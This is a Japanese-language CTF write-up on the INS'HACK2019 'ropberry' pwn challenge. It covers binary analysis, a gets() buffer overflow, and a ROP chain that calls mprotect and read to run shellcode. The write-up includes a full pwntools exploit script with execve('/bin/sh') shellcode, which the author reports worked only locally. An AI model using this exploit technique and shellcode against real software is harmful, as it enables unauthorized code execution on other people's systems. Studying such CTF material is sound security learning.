INS'HACK2019 Writeup にしようとしたもの
はじめに
INS'HACK2019にチームContrailとして参加したものの1問もフラグを得られず全くチームに貢献することができなかった. Pwnで1問だけローカル環境のみでシェルの起動に成功した問題があるため,自分が取り組んだことについてまとめたい.
問題
- ropberry
You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something. He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.
バイナリの解析
$ file ropberry ropberry: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3338b24648887e1839f7a07a5bfb9e4bc313bec5, not stripped
$ checksec.sh --file ropberry
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ropberry
気になったこと
- 今回与えられたファイルは静的リンクされたバイナリである.
STACK CANARY
がNo canary found
であるため,バッファオーバーフローが狙えそうである.
考えたこと
脆弱性はvuln()
内でgets()
が使用されていたため,すぐに見つかった.
その後,シェルを起動させるために,バイナリ内に存在する次のような関数を用いて1~4に示す方針を立てた.
$ readelf -s ropberry 1473: 080580d0 99 FUNC WEAK DEFAULT 6 read 1991: 08058d40 37 FUNC WEAK DEFAULT 6 mprotect
- バッファオーバーフローで
EIP
を書き換えた後,ROPchainを流し込む. mprotect
でメモリ上に存在する固定アドレスの一部に実行可能属性を付与する.read
で実行可能な領域にシェルコードを読み込むEIP
をシェルコードの先頭にする.
NX
がNX enabled
となっているが,mprotect
でメモリ領域の保護属性を変更可能であるためあまり関係がない.
- mprotect()呼び出し前
- mprotect()呼び出し後
mprotect
int mprotect(void *addr, size_t len, int prot);
気をつけること
addrはページサイズでアラインメントする必要がある.Linuxのページフレームは4KB(0x1000)境界であるため,下位12bitは0x0となる.
read
ssize_t read(int fd, void *buf, size_t count);
作成したエクスプロイトコード
from pwn import * context.log_level = "DEBUG" elf = ELF("./ropberry") mprotect_addr = elf.symbols["mprotect"] read_addr = elf.symbols["read"] fflush_addr = elf.symbols["fflush"] print "mprotect:", hex(elf.symbols["mprotect"]) print "read:", hex(elf.symbols["read"]) shellcode = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" payload = "" payload += "A" * 8 payload += p32(mprotect_addr) # mprotect payload += p32(0x0804859c) # pop3ret payload += p32(0x080ee000) # buf payload += p32(0x1000) # size payload += p32(0x7) payload += p32(read_addr) # read payload += p32(0x080ee000) # payload += p32(0x0) # stdin payload += p32(0x080ee000) # buf payload += p32(0x1000) # size p = process("./ropberry") #shell = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, password=None, keyfile="~/.ssh/id_inshack") #p = shell.run("sh") print(p.recv()) p.sendline(payload) p.send(b"\x90" * (0x1000-len(shellcode)) + shellcode) p.interactive()
おわりに
現時点で,リモートでシェルの起動させることができなかった原因はわからず.
記事に間違い,もしくは原因がわかる方がおられましたら連絡していただけると幸いです.